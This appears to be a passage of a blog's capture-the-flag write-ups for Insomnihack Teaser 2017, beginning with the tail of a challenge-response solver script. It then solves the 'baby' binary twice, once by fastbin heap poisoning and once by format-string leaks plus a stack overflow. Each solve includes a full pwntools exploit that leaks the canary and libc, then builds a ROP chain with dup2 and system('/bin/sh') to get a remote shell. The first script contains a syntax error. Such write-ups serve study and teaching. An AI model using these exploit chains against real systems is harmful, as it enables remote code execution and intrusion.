        final_str += str(chr(a))
    if chall[3] >= 'A':
        a = mychars.index(chall[3])+10
        final_str += mychars[a]
    elif chall[3] < 'A':
        a = mychars.index(chall[3])-10
        final_str += mychars[a]
    if chall[4] >= 'A':
        final_str += mychars[mychars.index(chall[4])+10]
    elif chall[4] < 'A':
        final_str + =mychars[mychars.index(chall[4])-10]
    val = abs(ord(chall[1])-ord(chall[2]))
    final_str += mychars[val % (len(mychars)-1)]

    val = abs(ord(chall[5])-ord(chall[6]))
    final_str += mychars[val % (len(mychars) - 1)]

    if chall[8] >= 'A':
        val = ord(chall[8]) ^ 0x4b ^ 0x61 ^ 0xa
        final_str += str(chr(val))
    elif chall[8] < 'A':
        val = ord(chall[8]) ^ 0xffffffa6 ^ 0xffffff99 & 0x7f
        final_str += str(chr(val))
    return final_str


if __name__ == "__main__":
    p = remote(HOST, PORT)
    p.recvuntil(':')
    p.recvline()
    msg = p.recvline().strip()
    retval = findstr(msg)
    p.sendline(retval)
    p.sendline('2')
    p.sendline('-1')
    print p.recvall(timeout=1)

And well, running that gave the flag
Here it is : INS{Angr_is_great!_Oh_angr_is_great!_Angr_angr_angr}

Insomnihack Teaser 2017 Baby (Heap) Writeup

I had mentioned in an earlier post how I solved this challenge during the CTF using stack overflow and format string attacks.

Later on, I decided to try the heap method. And well, this write up is about just that.

So, now let’s look at the doheap function.

What I love about this challenge is that all we need to do is exploit. We don’t need to spend time on reverse engineering the whole binary and searching for the bug. We’re given the bug (three of them actually) and asked just to exploit.

The doheap function offers the functionalities of allocating a chunk of user specified size, removing a chunk, writing data into a chunk. Pointers to these chunks are stored on the stack in an array.

The vulnerability here again is pretty apparent. We can write data into any chunk, including one that was freed.

Now regarding what to do with the overflow, there are a couple of things we could do. We could try the House of Force and overwrite the GOT table with some value. But I decided to try something that I didn’t have much experience with which was abusing the Fastbin linked list.

The idea here was to put two chunks into the fastbin list. So the latter of the two would contain a pointer to the other. And then we could overwrite the pointer in the latter to some address that we like. So calling malloc with the same size as that of the two we’ve free’d would return an arbitrary pointer.

To break it down, when the program starts, the fastbin list is empty. Once we free a chunk of a small size, say 32 bytes, it gets pushed into the fastbin list. Imagine the chunk that we free first is called A and its size is 32 bytes.

Once we free A, the head of the fastbin list will point to A. Now if we were to free another chunk, say B, of the same size ie 32 bytes, the head of the fastbin list changes to B and the address of A is written into B.

So it would be something like this:
head -> null                                (Before freeing A)
head -> A -> null                      (After freeing A and before freeing B)
head -> B -> A -> null            (After freeing B)

Now we can use the overflow to write some bytes into B. After this, if we request a chunk from the heap using malloc with a size < 32, we'd get the top of the fastbin list ie B. Not very useful.

But wait, if we request another chunk from the heap, again with size < 32, we'd get a pointer to whatever we stored inside B.

One small thing that we need to take care of is to make sure that there exists the same size value at whatever address we gave + 8.

So lets put the plan down on the table

  • Allocate 5 chunks of a small size.
  • Remove the second and fourth.
  • Edit the fourth chunk and write stack address.
  • Allocate two chunks.
  • Write data into the latter of the last two chunks allocated. (Stack overflow)

I used chunks sizes of 10, and malloc returned chunks of sizes 32. So I had to make sure that 0x21 was there somewhere on the stack. So in the read functionality, it asks us for a size, where I gave a valid size + null byte + 0x21. So 0x21 lies on the stack now. Problem solved.

I did use the dofmt function to leak the canary, stack and libc addresses. So I guess in this exploit, I did use format string attack, return to libc, and heap overflow. Pretty nice combo even if I say so myself !

Anyway, here’s the exploit script.

from pwn import *

# pop rdi;ret;
g1 = 0x1c8b
# pop rsi;pop r15;ret;
g2 = 0x1c89


def leak_first():
    p.sendlineafter("> ", '2')
    p.sendlineafter("> ", '%llx-'*158)
    val = p.recvline().strip().split('-')
    p.sendline('')
    libc, stack = int(val[-2], 16), int(val[138], 16)
    text, canary = int(val[139], 16), int(val[137], 16)
    return libc-0x21f45, stack-80, text-0x19cf, canary


def alloc(idx, size):
    p.sendlineafter("choice > ", "1")
    p.sendlineafter("chunk > ", str(idx))
    p.sendlineafter("size > ", str(size))
    p.recvuntil("@ ")
    addr = int(p.recvline().strip(), 16)
    log.success("Chunk index {} @ {}".format(str(idx), hex(addr)))
    return addr


def evil_alloc(idx, size):
    p.sendlineafter("choice > ", "1")
    p.sendlineafter("chunk > ", str(idx))
    p.sendafter("size > ", str(size)+"\x00"*6+"\x21"+"\x00"*7)
    p.recvuntil("@")
    addr = int(p.recvline().strip(), 16)
    log.success("Chunk index {} @ {}".format(str(idx), hex(addr)))
    return addr


def read(idx, size, payload):
    p.sendlineafter("choice > ", "3")
    p.sendlineafter("chunk > ", str(idx))
    p.sendlineafter("size > ", str(size))
    time.sleep(1)
    p.sendline(payload)


def free(idx):
    p.sendlineafter("choice > ", "2")
    p.sendlineafter("chunk > ", str(idx))


if __name__ == "__main__":
    fd = 4
    # p = remote("baby.teaser.insomnihack.ch",1337)
    p = remote("localhost", 1337)
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    libc.address, stack, text, canary = leak_first()
    g1 += text
    g2 += text
    system = libc.symbols['system']
    binsh = libc.search('/bin/sh').next()
    dup2 = libc.symbols['dup2']
    log.success("Stack @ {}".format(hex(stack)))
    log.success("Libc @ {}".format(hex(libc.address)))
    p.sendlineafter(">", "3")
    for x in xrange(1, 6):
        alloc(x, 10)
        read(x, 10, "A"*9)
    free(2)
    free(4)
    read(4, 16, p64(stack)+"A"*8)
    alloc(6, 10)
    evil_alloc(7, 10)
    payload = fit({8: p64(canary), 24: p64(g2)+p64(0)*2+p64(g1)})
    payload += p64(fd)+p64(dup2)+p64(g2)+p64(1)*2+p64(g1)+p64(fd)+p64(dup2)
    payload += p64(g1)+p64(binsh)+p64(g2)+p64(0)*2+p64(system)
    read(7, len(payload), payload)
    p.sendlineafter("choice > ", "5")
    p.interactive()

Insomnihack teaser 2017 Baby Writeup

The first CTF of 2017 and it didn’t disappoint. It took me a while to get the exploit working but it was fun.

As usual, lets see what protections are enabled on the binary.

$ checksec baby

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

Well, isn’t that something ! No worries, there have been challenges with even worse conditions.

Looking through the code of the binary, we see that the binary first starts a server and then forks off a child to handle a client. Now looking at the handle function, we see that it is a menu driven program that offers three functionalities. Namely

  1. Stack overflow
  2. Format string
  3. Heap overflow

And then a fourth option which simply exits.

As the names suggest, each function has the respective vulnerability. So, my first idea was to leak out some pointers using the format string vulnerability. This memory leak can then be leveraged to gain control over execution through the stack overflow.

So, the steps should be:

  1. Choose format string vuln.
  2. Leak address of text segment.
  3. Leak address of libc.
  4. Choose stack overflow vuln.
  5. ROP.

But there was some difference in the values on the stack when I ran the binary locally and that of the remote server.

But there are some values on the stack that we can bet on. The return addresses of the functions dostack and handle are values of the text segment. So by leaking those, we get the base address of the text segment. Now for libc, the return address of main can be used.

After leaking, all that’s left is to craft a nice ROP payload and pwn this binary.

But wait, it’s not over.

The shell I got at the beginning was at the parent process end, whereas we were interacting with the socket. So, before calling system(‘/bin/sh’), we should insert two calls to dup2().

from pwn import *

g1 = 0x1c8b				#pop rdi;ret;
g2 = 0x1c89				#pop rsi;pop r15;ret;

def leak_first():
	p.sendlineafter("> ",'2')
	p.sendlineafter("> ",'%llx-'*158)
	val = p.recvline().strip().split('-')
	p.sendline('')
	libc,text,canary = int(val[-2],16),int(val[139],16),int(val[137],16)
	return libc-0x20830,text-0x19cf,canary

def bof_stack():
	p.sendlineafter("> ","1")
	payload = fit({1032:p64(canary),1048:p64(g2)+p64(0),1072:p64(g1)+p64(fd)+p64(dup2)})
	payload+= p64(g2)+p64(1)+p64(0)+p64(g1)+p64(fd)+p64(dup2)
	payload+= p64(g2)+p64(0)+p64(0)+p64(g1)+p64(binsh)+p64(system)
	p.sendlineafter("?",str(len(payload)+1))
	p.sendline(payload)
	log.info(p.recvline())
	p.interactive()

if __name__ == "__main__":
	fd=4
	p = remote("baby.teaser.insomnihack.ch",1337)
	libc,text,canary=leak_first()
	elf = ELF("libc.so")
	elf.address = libc
	binsh = elf.search("/bin/sh").next()
	system = elf.symbols['system']
	dup2 = elf.symbols['dup2']
	g1+= text
	g2+= text
	bof_stack()

And well that gave the flag.
Here it is : INS{if_you_haven’t_solve_it_with_the_heap_overflow_you’re_a_baby!}